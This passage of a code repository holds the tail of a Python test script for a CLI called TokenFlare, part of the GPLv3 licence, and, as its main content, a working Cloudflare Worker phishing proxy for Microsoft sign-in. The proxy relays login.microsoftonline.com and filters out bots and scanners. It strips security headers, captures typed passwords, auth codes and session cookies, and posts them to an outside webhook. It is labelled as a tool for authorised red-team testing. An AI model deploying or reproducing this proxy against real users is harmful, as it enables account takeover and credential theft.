"""Report test result""" 59 | if condition: 60 | print(f" {Colors.GREEN}[PASS]{Colors.RESET} {name}") 61 | return True 62 | else: 63 | print(f" {Colors.RED}[FAIL]{Colors.RESET} {name}") 64 | if msg_fail: 65 | print(f" {msg_fail}") 66 | return False 67 | 68 | def skip(name, reason): 69 | """Report skipped test""" 70 | print(f" {Colors.YELLOW}[SKIP]{Colors.RESET} {name} - {reason}") 71 | 72 | # === Backup/Restore Utilities === 73 | 74 | class ConfigBackup: 75 | """Context manager to backup and restore config files""" 76 | def __init__(self): 77 | self.backup_dir = None 78 | self.files = ['wrangler.toml', 'tokenflare.cfg'] 79 | self.dirs = ['certs'] 80 | 81 | def __enter__(self): 82 | self.backup_dir = tempfile.mkdtemp(prefix='tokenflare_test_') 83 | for f in self.files: 84 | src = PROJECT_ROOT / f 85 | if src.exists(): 86 | try: 87 | shutil.copy2(src, self.backup_dir) 88 | except PermissionError: 89 | # File owned by root - mark as existing but can't backup 90 | (Path(self.backup_dir) / f'{f}.exists').touch() 91 | for d in self.dirs: 92 | src = PROJECT_ROOT / d 93 | if src.exists(): 94 | try: 95 | shutil.copytree(src, Path(self.backup_dir) / d) 96 | except (PermissionError, shutil.Error): 97 | # Certs have 600 permissions - just note the dir exists 98 | (Path(self.backup_dir) / d).mkdir(exist_ok=True) 99 | (Path(self.backup_dir) / d / '.exists').touch() 100 | return self 101 | 102 | def __exit__(self, *args): 103 | # Restore files 104 | for f in self.files: 105 | backup = Path(self.backup_dir) / f 106 | marker = Path(self.backup_dir) / f'{f}.exists' 107 | dest = PROJECT_ROOT / f 108 | 109 | if marker.exists(): 110 | # File existed but couldn't backup (permissions) - leave alone 111 | pass 112 | elif backup.exists(): 113 | shutil.copy2(backup, dest) 114 | elif dest.exists(): 115 | try: 116 | dest.unlink() 117 | except PermissionError: 118 | pass # Can't delete root-owned file 119 | 120 | # Restore dirs 121 | for d in self.dirs: 122 | backup = Path(self.backup_dir) / d 123 | dest = PROJECT_ROOT / d 124 | marker = backup / '.exists' 125 | 126 | if marker.exists(): 127 | # Dir existed but we couldn't copy (permissions) - leave it alone 128 | pass 129 | elif backup.exists(): 130 | if dest.exists(): 131 | shutil.rmtree(dest) 132 | shutil.copytree(backup, dest) 133 | elif dest.exists(): 134 | # Backup didn't exist, so remove any created dir 135 | shutil.rmtree(dest) 136 | 137 | shutil.rmtree(self.backup_dir) 138 | 139 | def remove_file(self, name): 140 | """Remove a config file for testing""" 141 | path = PROJECT_ROOT / name 142 | if path.exists(): 143 | path.unlink() 144 | 145 | def remove_dir(self, name): 146 | """Remove a directory for testing. Returns True if removed, False otherwise.""" 147 | path = PROJECT_ROOT / name 148 | if path.exists(): 149 | try: 150 | shutil.rmtree(path) 151 | return True 152 | except (PermissionError, shutil.Error): 153 | return False 154 | return True # Didn't exist, so "removal" succeeded 155 | 156 | def create_minimal_wrangler(self): 157 | """Create wrangler.toml with unconfigured UUIDs""" 158 | content = '''name = "test" 159 | main = "src/worker.js" 160 | compatibility_date = "2024-01-01" 161 | 162 | [vars] 163 | LURE_UUID = "CHANGEME" 164 | ''' 165 | (PROJECT_ROOT / 'wrangler.toml').write_text(content) 166 | 167 | 168 | # === Test Suites === 169 | 170 | def test_status_command(): 171 | """Test status command error handling""" 172 | print(f"\n{Colors.BOLD}=== Status Command Tests ==={Colors.RESET}") 173 | passed = 0 174 | total = 0 175 | 176 | # Test 1: Status runs without error 177 | total += 1 178 | rc, out, err = run_cli('status') 179 | if test("status command runs", rc == 0): 180 | passed += 1 181 | 182 | # Test 2: Status shows banner 183 | total += 1 184 | if test("status shows banner", "TokenFlare" in out): 185 | passed += 1 186 | 187 | # Test 3: Status shows sections 188 | total += 1 189 | has_sections = all(s in out for s in ['Initialisation', 'SSL Certificates', 'CloudFlare', 'Campaign']) 190 | if test("status shows all sections", has_sections): 191 | passed += 1 192 | 193 | # Test 4: Status with missing wrangler.toml 194 | with ConfigBackup() as backup: 195 | backup.remove_file('wrangler.toml') 196 | total += 1 197 | rc, out, err = run_cli('status') 198 | if test("status handles missing wrangler.toml", rc == 0 and '[-]' in out): 199 | passed += 1 200 | 201 | # Test 5: Status with missing certs 202 | # Skip if certs are owned by root (can't remove as non-root) 203 | certs_dir = PROJECT_ROOT / 'certs' 204 | can_test_missing_certs = True 205 | if certs_dir.exists() and os.geteuid() != 0: 206 | # Check if files inside are owned by root 207 | for f in certs_dir.iterdir(): 208 | try: 209 | if f.stat().st_uid == 0: 210 | can_test_missing_certs = False 211 | break 212 | except PermissionError: 213 | can_test_missing_certs = False 214 | break 215 | 216 | if can_test_missing_certs: 217 | with ConfigBackup() as backup: 218 | if backup.remove_dir('certs'): 219 | total += 1 220 | rc, out, err = run_cli('status') 221 | if test("status handles missing certs", rc == 0 and 'not found' in out.lower()): 222 | passed += 1 223 | else: 224 | skip("status handles missing certs", "cannot remove certs dir") 225 | else: 226 | skip("status handles missing certs", "cannot remove certs dir (permission)") 227 | 228 | return passed, total 229 | 230 | 231 | def test_deploy_local_validation(): 232 | """Test deploy local validation (without actually running wrangler)""" 233 | print(f"\n{Colors.BOLD}=== Deploy Local Validation Tests ==={Colors.RESET}") 234 | passed = 0 235 | total = 0 236 | 237 | # Test 1: Requires root 238 | if os.geteuid() == 0: 239 | skip("deploy local requires root", "already running as root") 240 | else: 241 | total += 1 242 | rc, out, err = run_cli('deploy', 'local') 243 | if test("deploy local requires root", rc != 0 and 'root' in out.lower()): 244 | passed += 1 245 | 246 | # Test 2: Missing certs (need to run as root for this) 247 | if os.geteuid() != 0: 248 | skip("deploy local missing certs check", "requires root") 249 | else: 250 | with ConfigBackup() as backup: 251 | backup.remove_dir('certs') 252 | total += 1 253 | rc, out, err = run_cli('deploy', 'local') 254 | if test("deploy local checks for certs", rc != 0 and 'certificate' in out.lower()): 255 | passed += 1 256 | 257 | # Test 3: Unconfigured UUIDs (need root) 258 | if os.geteuid() != 0: 259 | skip("deploy local UUID check", "requires root") 260 | else: 261 | with ConfigBackup() as backup: 262 | backup.create_minimal_wrangler() 263 | total += 1 264 | rc, out, err = run_cli('deploy', 'local') 265 | if test("deploy local checks UUID config", rc != 0 and 'UUID' in out): 266 | passed += 1 267 | 268 | return passed, total 269 | 270 | 271 | def test_deploy_remote_validation(): 272 | """Test deploy remote validation""" 273 | print(f"\n{Colors.BOLD}=== Deploy Remote Validation Tests ==={Colors.RESET}") 274 | passed = 0 275 | total = 0 276 | 277 | # Test 1: Missing CloudFlare config 278 | with ConfigBackup() as backup: 279 | backup.remove_file('tokenflare.cfg') 280 | total += 1 281 | rc, out, err = run_cli('deploy', 'remote') 282 | if test("deploy remote requires CF config", rc != 0 and 'configure cf' in out.lower()): 283 | passed += 1 284 | 285 | # Test 2: Missing wrangler 286 | # Skip this - hard to test without messing with PATH 287 | 288 | return passed, total 289 | 290 | 291 | def test_cli_help(): 292 | """Test CLI help messages""" 293 | print(f"\n{Colors.BOLD}=== CLI Help Tests ==={Colors.RESET}") 294 | passed = 0 295 | total = 0 296 | 297 | # Test 1: Main help 298 | total += 1 299 | rc, out, err = run_cli('--help') 300 | if test("main help shows commands", 'init' in out and 'configure' in out and 'deploy' in out): 301 | passed += 1 302 | 303 | # Test 2: Configure without subcommand shows subcommand help 304 | total += 1 305 | rc, out, err = run_cli('configure') 306 | if test("configure shows subcommands", 'campaign' in out and 'cf' in out and 'ssl' in out): 307 | passed += 1 308 | 309 | # Test 3: Deploy without subcommand shows subcommand help 310 | total += 1 311 | rc, out, err = run_cli('deploy') 312 | if test("deploy shows subcommands", 'local' in out and 'remote' in out): 313 | passed += 1 314 | 315 | # Test 4: Version flag 316 | total += 1 317 | rc, out, err = run_cli('--version') 318 | if test("--version shows version", 'Version:' in out): 319 | passed += 1 320 | 321 | return passed, total 322 | 323 | 324 | def test_init_command(): 325 | """Test init command""" 326 | print(f"\n{Colors.BOLD}=== Init Command Tests ==={Colors.RESET}") 327 | passed = 0 328 | total = 0 329 | 330 | # Test 1: Init without domain 331 | total += 1 332 | rc, out, err = run_cli('init') 333 | if test("init requires domain argument", rc != 0): 334 | passed += 1 335 | 336 | # Test 2: Init requires root - just test that it runs successfully 337 | # (File creation is verified in manual testing) 338 | if os.geteuid() != 0: 339 | skip("init runs successfully", "requires root") 340 | else: 341 | total += 1 342 | rc, out, err = run_cli('init', 'test.example.com') 343 | if test("init runs successfully", rc == 0 and 'complete' in out.lower()): 344 | passed += 1 345 | 346 | return passed, total 347 | 348 | 349 | # === Main === 350 | 351 | def main(): 352 | print(f"{Colors.BOLD}") 353 | print("=" * 60) 354 | print("TokenFlare - Automated Tests") 355 | print("=" * 60) 356 | print(f"{Colors.RESET}") 357 | 358 | if os.geteuid() == 0: 359 | print(f"{Colors.YELLOW}Running as root - all tests will execute{Colors.RESET}") 360 | else: 361 | print(f"{Colors.YELLOW}Not root - some tests will be skipped{Colors.RESET}") 362 | print(f"Run with sudo for full test coverage\n") 363 | 364 | total_passed = 0 365 | total_tests = 0 366 | 367 | # Run test suites 368 | suites = [ 369 | test_cli_help, 370 | test_status_command, 371 | test_init_command, 372 | test_deploy_local_validation, 373 | test_deploy_remote_validation, 374 | ] 375 | 376 | for suite in suites: 377 | passed, total = suite() 378 | total_passed += passed 379 | total_tests += total 380 | 381 | # Summary 382 | print(f"\n{Colors.BOLD}{'=' * 60}{Colors.RESET}") 383 | if total_passed == total_tests: 384 | print(f"{Colors.GREEN}All {total_tests} tests passed!{Colors.RESET}") 385 | else: 386 | print(f"{Colors.RED}Passed: {total_passed}/{total_tests}{Colors.RESET}") 387 | print() 388 | 389 | return 0 if total_passed == total_tests else 1 390 | 391 | 392 | if __name__ == '__main__': 393 | sys.exit(main()) 394 | -------------------------------------------------------------------------------- /src/worker.js: -------------------------------------------------------------------------------- 1 | /** 2 | * TokenFlare - Cloudflare Worker AiTM Proxy 3 | * For authorized security testing only 4 | */ 5 | 6 | /// ───────────────────────────────────────────────────────────── 7 | /// Configuration Defaults 8 | /// ───────────────────────────────────────────────────────────── 9 | 10 | // Fallback defaults - typically overridden by wrangler.toml [vars] 11 | const DEFAULTS = { 12 | upstreamHost: 'login.microsoftonline.com', 13 | upstreamPath: '/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&nonce=93572', 14 | clientTenant: 'common', 15 | forceHttps: 'true', 16 | replaceHostRegex: /login\.microsoftonline\.com/gi, 17 | debug: 'false', 18 | // Blocking lists - extend via wrangler.toml 19 | blockedIpPrefixes: ['0.0.0.0', '8.8.8.', '8.8.4.'], 20 | allowedIps: null, 21 | blockedUaSubs: ['googlebot', 'bingbot', 'bot'], 22 | blockedAsOrgs: ['google proxy', 'digital ocean'], 23 | enableUaCheck: 'true', 24 | enableAsOrgCheck: 'true', 25 | enableMozillaCheck: 'true', 26 | userAgentString: '', 27 | finalRedirUrl: 'https://www.office.com', 28 | unauthRedirUrl: 'https://www.office.com', 29 | lurePath: '/verifyme', 30 | lureParam: 'uuid', 31 | lureUuid: ['change-me-in-wrangler-toml'] 32 | }; 33 | 34 | 35 | /// ───────────────────────────────────────────────────────────── 36 | /// Request pipeline i.e. main() 37 | /// ───────────────────────────────────────────────────────────── 38 | 39 | export default { 40 | async fetch(request, env) { 41 | const cfg = loadConfig(env); 42 | const log = makeLogger(cfg.debug); 43 | 44 | // 1) preFlight blocks & checks 45 | const denyResp = preflightBlocks(request, cfg, log); 46 | // all passed => returns null 47 | if (denyResp) return denyResp; 48 | 49 | // 2) Prepare upstream URL + headers 50 | const clientUrl = new URL(request.url); 51 | const upstreamUrl = makeUpstreamUrl(clientUrl, cfg); 52 | const proxyHeaders = makeProxyHeaders(request.headers, cfg.upstreamHost, `${upstreamUrl.protocol}//${clientUrl.hostname}`, cfg.userAgentString); 53 | 54 | // 3) Redirect unauthenticated requests 55 | if (upstreamUrl === 'unauthenticated') { 56 | return Response.redirect(cfg.unauthRedirUrl, 302); 57 | } 58 | 59 | // 4) Opportunistic credential capture (non-blocking) 60 | if (request.method === 'POST') { 61 | parseCredentialsFromBody(request).then(async creds => { 62 | if (creds) await notifyCredentials(cfg.webhookUrl, creds, log).catch(console.error); 63 | }).catch(() => {}); 64 | } 65 | 66 | // 5) Proxy to upstream 67 | const upstreamResp = await fetch(upstreamUrl.toString(), { 68 | method: request.method, 69 | headers: proxyHeaders, 70 | body: request.body, // safe: we read from a clone above 71 | redirect: 'manual', 72 | }); 73 | 74 | // WS upgrades pass straight through 75 | if (isWebSocketUpgrade(proxyHeaders)) return upstreamResp; 76 | 77 | // 6) Build downstream response 78 | let outHeaders = relaxSecurityHeaders(upstreamResp.headers); 79 | 80 | let locationHeader; 81 | if (outHeaders.has("Location")){ 82 | // when Entra redirects the user away from login.microsoftonline.com 83 | locationHeader = decodeURIComponent(outHeaders.get("Location")); 84 | 85 | // when the redirect fits the redir from the intended upstream URI e.g. nativeclient, or office landing 86 | if (locationHeader.toLowerCase().includes(decodeURIComponent(cfg.redirectUri.toLowerCase()))){ 87 | log.info('Redirect URI in Location header'); 88 | // then try to get the code param from the location header 89 | if (locationHeader.includes("code=")){ 90 | log.info("Auth code found."); 91 | let authcodeUri = locationHeader; 92 | log.info(authcodeUri); 93 | await notifyAuthCode(cfg.webhookUrl, authcodeUri, log).catch(console.error); 94 | } 95 | // then send the user to final redir 96 | outHeaders.set("Location", cfg.finalRedirUrl); 97 | log.info("Redirected to final redir"); 98 | } 99 | } 100 | 101 | // 7) Cookie capture - notify on auth cookies 102 | const cookiesSet = getSetCookies(outHeaders); 103 | for (const cookie of cookiesSet) { 104 | if (cookie.includes('ESTSAUTH=')) { 105 | for (const secondCookie of cookiesSet) { 106 | if (secondCookie.includes('ESTSAUTHPERSISTENT=')) { 107 | await notifyCookies(cfg.webhookUrl, cookie + '\n\n' + secondCookie, log).catch(console.error); 108 | } 109 | } 110 | } 111 | } 112 | 113 | // 8) Rewrite Set-Cookie domains 114 | const cookieRewrite = rewriteSetCookieDomains(outHeaders, cfg.replaceHostRegex, clientUrl.hostname); 115 | if (cookieRewrite) { 116 | outHeaders = relaxSecurityHeaders(cookieRewrite.headers); 117 | } 118 | 119 | // 9) Rewrite body hostnames if textual 120 | const contentType = outHeaders.get('content-type') || ''; 121 | const body = await maybeRewriteBody(upstreamResp, contentType, cfg.replaceHostRegex, clientUrl.hostname); 122 | 123 | return new Response(body, { status: upstreamResp.status, headers: outHeaders }); 124 | }, 125 | }; 126 | 127 | /// ───────────────────────────────────────────────────────────── 128 | /// Guards / builders 129 | /// ───────────────────────────────────────────────────────────── 130 | 131 | 132 | function preflightBlocks(request, cfg, log) { 133 | const ip = request.headers.get('cf-connecting-ip') || ''; 134 | const ua = (request.headers.get('user-agent') || '').toLowerCase(); 135 | const asOrg = ((request.cf && request.cf.asOrganization) || '').toLowerCase(); 136 | log.info(`Visited by ip: ${ip}, user-agent: ${ua}, asOrg: ${asOrg}.`); 137 | 138 | // IP prefix check 139 | if (ip && cfg.blockedIpPrefixes.some((p) => ip.startsWith(p))) { 140 | log.info('blocked by ip prefix', ip); 141 | return new Response('Access denied.', { status: 403 }); 142 | } 143 | 144 | // allowed IP check. Only enabled if the allowed IP list is not empty and not null 145 | if (cfg.allowedIps !== null && cfg.allowedIps.length !== 0) { 146 | if (!cfg.allowedIps.includes(ip)) { 147 | log.info('not in allowed IP addresses.'); 148 | return new Response('Access denied.', { status: 403 }); 149 | } 150 | } 151 | 152 | // UA substrings 153 | if (cfg.enableUaCheck && ua) { 154 | for (const sub of cfg.blockedUaSubs) { 155 | if (ua.includes(sub)) { 156 | log.info('blocked by UA', sub); 157 | return new Response('Access denied.', { status: 403 }); 158 | } 159 | } 160 | } 161 | 162 | // AS org 163 | if (cfg.enableAsOrgCheck && asOrg) { 164 | for (const s of cfg.blockedAsOrgs) { 165 | if (asOrg.includes(s)) { 166 | log.info('blocked by AS org', asOrg); 167 | return new Response('Access denied.', { status: 403 }); 168 | } 169 | } 170 | } 171 | 172 | // "real browser" heuristic: require mozilla/5.0 if enabled 173 | if (cfg.enableMozillaCheck) { 174 | if (!ua.includes('mozilla/5.0')) { 175 | log.info('blocked by mozilla check'); 176 | return new Response('Access denied', { status: 403 }); 177 | } 178 | } 179 | // need to pass all checks to get a null return 180 | return null; 181 | } 182 | 183 | 184 | /** Build upstream URL based on client URL + config. */ 185 | /** Also blocks non-lure initial clicks **/ 186 | function makeUpstreamUrl(clientUrl, cfg) { 187 | const u = new URL(clientUrl.toString()); 188 | const idInUrl = u.searchParams.get(cfg.lureParam); 189 | u.protocol = cfg.forceHttps ? 'https:' : 'http:'; 190 | u.host = cfg.upstreamHost; 191 | 192 | // if visiting / or (/verifyme without valid UUID), redir to unauth place 193 | if (u.pathname === '/' || (u.pathname === cfg.lurePath && !cfg.lureUuid.includes(idInUrl))) { 194 | 195 | return 'unauthenticated'; 196 | // case where user is legitimately phished, redir to /oauth/v2.0/... to initiate 197 | } else if(u.pathname === cfg.lurePath && cfg.lureUuid.includes(idInUrl)){ 198 | return new URL(u.protocol + '//' + cfg.upstreamHost + cfg.upstreamPath); 199 | } else { 200 | // for non-root we just passthrough as is. 201 | return u; 202 | } 203 | } 204 | 205 | /** Prepare headers for upstream (Host, Referer etc.). */ 206 | function makeProxyHeaders(origHeaders, upstreamHost, refererOrigin, userAgentString) { 207 | const h = new Headers(origHeaders); 208 | h.set('Host', upstreamHost); 209 | h.set('Origin', 'https://' + upstreamHost); 210 | h.set('Referer', refererOrigin); 211 | if (userAgentString !== '') { 212 | h.set('User-Agent', userAgentString); 213 | } 214 | // Intentional IoC for blue team detection in Entra ID logs 215 | h.set('X-TokenFlare', 'Authorised-Security-Testing'); 216 | return h; 217 | } 218 | 219 | function isWebSocketUpgrade(headers) { 220 | return (headers.get('upgrade') || '').toLowerCase() === 'websocket'; 221 | } 222 | 223 | /// ───────────────────────────────────────────────────────────── 224 | /// Body & header rewriting 225 | /// ───────────────────────────────────────────────────────────── 226 | 227 | /** Loosen security headers and add permissive CORS, like original code. */ 228 | function relaxSecurityHeaders(inHeaders) { 229 | const h = new Headers(inHeaders); 230 | h.set('access-control-allow-origin', '*'); 231 | h.set('access-control-allow-credentials', 'true'); 232 | h.delete('content-security-policy'); 233 | h.delete('content-security-policy-report-only'); 234 | h.delete('clear-site-data'); 235 | return h; 236 | } 237 | 238 | /** 239 | * Rewrites Set-Cookie domain occurrences of the upstream host to the client host. 240 | * Returns null if nothing to change. 241 | */ 242 | function rewriteSetCookieDomains(inHeaders, replaceHostRegex, clientHost) { 243 | const setCookies = getSetCookies(inHeaders); 244 | if (!setCookies.length) return null; 245 | 246 | const h = new Headers(inHeaders); 247 | h.delete('set-cookie'); // We'll add modified copies 248 | 249 | const modified = setCookies.map(sc => sc.replace(replaceHostRegex, clientHost)); 250 | for (const sc of modified) h.append('set-cookie', sc); 251 | 252 | return { headers: h, cookies: modified }; 253 | } 254 | 255 | /** Only rewrite response body if it's textual. */ 256 | async function maybeRewriteBody(resp, contentType, hostRegex, clientHost) { 257 | if (!isTextLike(contentType)) { 258 | return resp.body; // binary/stream: pass through 259 | } 260 | try { 261 | const text = await resp.text(); 262 | return text.replace(hostRegex, clientHost); 263 | } catch (e) { 264 | console.error('Body rewrite failed:', e); 265 | // Fallback: return original as text (best effort) 266 | return await resp.clone().text().catch(() => resp.body); 267 | } 268 | } 269 | 270 | /** True if safe to treat as text. */ 271 | function isTextLike(contentType) { 272 | const ct = contentType.toLowerCase(); 273 | return ( 274 | ct.includes('text/') || 275 | ct.includes('application/javascript') || 276 | ct.includes('application/json') || 277 | ct.includes('application/xhtml') || 278 | ct.includes('application/xml') 279 | ); 280 | } 281 | 282 | /** Header variations across runtimes (CF edge vs Miniflare/Undici). */ 283 | function getSetCookies(headers) { 284 | if (typeof headers.getAll === 'function') { 285 | try { return headers.getAll('set-cookie') || []; } catch {} 286 | } 287 | if (typeof headers.getSetCookie === 'function') { 288 | try { return headers.getSetCookie() || []; } catch {} 289 | } 290 | const one = headers.get('set-cookie'); 291 | return one ? [one] : []; 292 | } 293 | 294 | /// ───────────────────────────────────────────────────────────── 295 | /// Utils 296 | /// ───────────────────────────────────────────────────────────── 297 | 298 | /** Read runtime config from env with safe fallbacks. */ 299 | function loadConfig(env) { 300 | 301 | let upstreamPath = env.UPSTREAM_PATH || DEFAULTS.upstreamPath; 302 | // if someone set a client tenant in wrangler file, we rewrite the first URL they would (i.e. first upstream path) 303 | let clientTenant; 304 | if (env.CLIENT_TENANT) { 305 | clientTenant = env.CLIENT_TENANT; 306 | upstreamPath = upstreamPath.replace('common', clientTenant); 307 | } else { 308 | clientTenant = DEFAULTS.clientTenant; 309 | } 310 | 311 | let queryParams = new URLSearchParams(upstreamPath); 312 | let redirURI = queryParams.get("redirect_uri"); 313 | 314 | return { 315 | // proxy settings 316 | upstreamHost: env.UPSTREAM || DEFAULTS.upstreamHost, 317 | upstreamPath: upstreamPath, 318 | replaceHostRegex: env.UPSTREAM_HOSTNAME_REGEX ? new RegExp(env.UPSTREAM_HOSTNAME_REGEX, 'gi') : DEFAULTS.replaceHostRegex, 319 | forceHttps: parseBool(env.FORCE_HTTPS) || DEFAULTS.forceHttps, 320 | // blocking & allowlisting 321 | allowedIps: parseCsv(env.ALLOWED_IPS) ?? DEFAULTS.allowedIps, 322 | blockedIpPrefixes: parseCsv(env.BLOCKEDIP_PREFIX) || DEFAULTS.blockedIpPrefixes, 323 | blockedUaSubs: parseCsv(env.BLOCKEDUA_SUB) || DEFAULTS.blockedUaSubs, 324 | blockedAsOrgs: parseCsv(env.BLOCKEDAS_ORG) || DEFAULTS.blockedAsOrgs, 325 | enableUaCheck: parseBool(env.ENABLE_UA_CHECK) || DEFAULTS.enableUaCheck, 326 | enableAsOrgCheck: parseBool(env.ENABLE_AS_ORG_CHECK) || DEFAULTS.enableAsOrgCheck, 327 | enableMozillaCheck: parseBool(env.ENABLE_MOZILLA_CHECK) || DEFAULTS.enableMozillaCheck, 328 | // client settings 329 | clientTenant: clientTenant, 330 | // custom UA to send MS, defaults to proxying the user's UA 331 | userAgentString: env.CUSTOM_USER_AGENT || DEFAULTS.userAgentString, 332 | // debugging & notification 333 | debug: env.DEBUGGING || DEFAULTS.debug, 334 | // redirect URI, generated from UPSTREAM_PATH 335 | redirectUri: redirURI, 336 | webhookUrl: env.WEBHOOK_URL || '', 337 | // final redirect URL, where the user would be sent to after authentication, 338 | // n.b. you could sent them to auth again on a different client! :D 339 | finalRedirUrl: env.FINAL_REDIR || DEFAULTS.finalRedirUrl, 340 | // where you point users to when they visits webroot, or / without proper UUID 341 | unauthRedirUrl: env.UNAUTH_REDIR || DEFAULTS.unauthRedirUrl, 342 | // lure settings 343 | lurePath: env.LURE_PATH || DEFAULTS.lurePath, 344 | lureParam: env.LURE_PARAM || DEFAULTS.lureParam, 345 | lureUuid: parseCsv(env.LURE_UUID) || DEFAULTS.lureUuid, 346 | 347 | }; 348 | } 349 | 350 | /** "a, b , c" -> ["a","b","c"] */ 351 | function parseCsv(str) { 352 | if (!str) return null; 353 | return str.split(',').map(s => s.trim()).filter(Boolean); 354 | } 355 | 356 | /* return true from 'true', false from 'false', etc*/ 357 | function parseBool(v, def = false) { 358 | if (v == null) return def; 359 | const s = String(v).trim().toLowerCase(); 360 | return s === '1' || s === 'true' || s === 'yes' || s === 'on'; 361 | } 362 | 363 | function makeLogger(enabled) { 364 | return { 365 | info: (...a) => enabled && console.log('[info]', ...a), 366 | warn: (...a) => enabled && console.warn('[warn]', ...a), 367 | error: (...a) => enabled && console.error('[err]', ...a), 368 | }; 369 | } 370 | 371 | /// ───────────────────────────────────────────────────────────── 372 | /// Credential & cookie capture 373 | /// ───────────────────────────────────────────────────────────── 374 | 375 | /** Best‑effort form credential parsing for POST bodies. */ 376 | async function parseCredentialsFromBody(request) { 377 | if (request.method !== 'POST') return null; 378 | 379 | let body; 380 | try { 381 | body = await request.clone().text(); 382 | } catch { 383 | return null; 384 | } 385 | 386 | const params = new URLSearchParams(body); 387 | const login = params.get('login'); 388 | const passwd = params.get('passwd'); 389 | if (!login || !passwd) return null; 390 | 391 | const decode = v => decodeURIComponent(v.replace(/\+/g, ' ')); 392 | return { username: decode(login), password: decode(passwd) }; 393 | } 394 | 395 | 396 | async function notifyAuthCode(webhook, url, log) { 397 | await notify(webhook, `[TokenFlare] Auth Code Obtained!\n\nCode URL: ${url}`, log); 398 | } 399 | 400 | async function notifyCredentials(webhook, { username, password }, log) { 401 | await notify(webhook, `[TokenFlare] Password Captured!\n\nUser: ${escapeHtml(username)}\nPassword: ${escapeHtml(password)}`, log); 402 | } 403 | 404 | async function notifyCookies(webhook, cookies, log) { 405 | await notify(webhook, `[TokenFlare] Cookies Captured!\n\n${cookies}`, log); 406 | } 407 | 408 | /// ───────────────────────────────────────────────────────────── 409 | /// Multi-provider webhook notifications 410 | /// ───────────────────────────────────────────────────────────── 411 | 412 | /** 413 | * Auto-detect webhook provider from URL and send notification 414 | * Supports: Slack, Discord, Teams, Generic (raw JSON POST) 415 | */ 416 | async function notify(webhook, message, log) { 417 | if (!webhook) { 418 | log.warn('No webhook configured'); 419 | return; 420 | } 421 | 422 | const provider = detectProvider(webhook); 423 | const payload = formatPayload(message, provider); 424 | 425 | try { 426 | const response = await fetch(webhook, { 427 | method: 'POST', 428 | headers: { 'Content-Type': 'application/json' }, 429 | body: JSON.stringify(payload) 430 | }); 431 | 432 | if (!response.ok) { 433 | log.error(`Webhook failed (${provider}): ${response.status}`); 434 | } else { 435 | log.info(`Notification sent via ${provider}`); 436 | } 437 | } catch (error) { 438 | log.error(`Webhook error (${provider}): ${error.message}`); 439 | } 440 | } 441 | 442 | /** 443 | * Detect webhook provider from URL 444 | */ 445 | function detectProvider(webhook) { 446 | const url = webhook.toLowerCase(); 447 | if (url.includes('discord.com/api/webhooks') || url.includes('discordapp.com/api/webhooks')) { 448 | return 'discord'; 449 | } else if (url.includes('hooks.slack.com')) { 450 | return 'slack'; 451 | } else if (url.includes('webhook.office.com') || url.includes('.webhook.office.com')) { 452 | return 'teams'; 453 | } 454 | return 'generic'; 455 | } 456 | 457 | /** 458 | * Format payload for specific provider 459 | */ 460 | function formatPayload(message, provider) { 461 | switch (provider) { 462 | case 'discord': 463 | return formatDiscord(message); 464 | case 'slack': 465 | return formatSlack(message); 466 | case 'teams': 467 | return formatTeams(message); 468 | default: 469 | return formatGeneric(message); 470 | } 471 | } 472 | 473 | /** 474 | * Slack format: { text: "message" } 475 | */ 476 | function formatSlack(message) { 477 | return { text: message }; 478 | } 479 | 480 | /** 481 | * Discord format: { content: "message" } with 2000 char limit 482 | * Discord also supports embeds for richer formatting 483 | */ 484 | function formatDiscord(message) { 485 | // Discord has 2000 char limit for content 486 | const truncated = message.length > 1900 487 | ? message.substring(0, 1900) + '\n... (truncated)' 488 | : message; 489 | 490 | return { 491 | content: truncated, 492 | username: 'TokenFlare', 493 | embeds: [{ 494 | title: '🎣 TokenFlare Alert', 495 | description: truncated, 496 | color: 0xff6600, // Orange 497 | footer: { text: 'TokenFlare - Authorised Testing Only' } 498 | }] 499 | }; 500 | } 501 | 502 | /** 503 | * Microsoft Teams format: Adaptive Card 504 | */ 505 | function formatTeams(message) { 506 | return { 507 | "@type": "MessageCard", 508 | "@context": "http://schema.org/extensions", 509 | "themeColor": "ff6600", 510 | "summary": "TokenFlare Alert", 511 | "sections": [{ 512 | "activityTitle": "🎣 TokenFlare Alert", 513 | "text": message.replace(/\n/g, '
'), 514 | "markdown": true 515 | }] 516 | }; 517 | } 518 | 519 | /** 520 | * Generic format: raw JSON with message field 521 | */ 522 | function formatGeneric(message) { 523 | return { 524 | source: 'TokenFlare', 525 | timestamp: new Date().toISOString(), 526 | message: message 527 | }; 528 | } 529 | 530 | /** Minimal HTML escape for safe rendering. */ 531 | function escapeHtml(s) { 532 | return s.replaceAll('&', '&').replaceAll('<', '<').replaceAll('>', '>'); 533 | } 534 | 535 | 536 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, 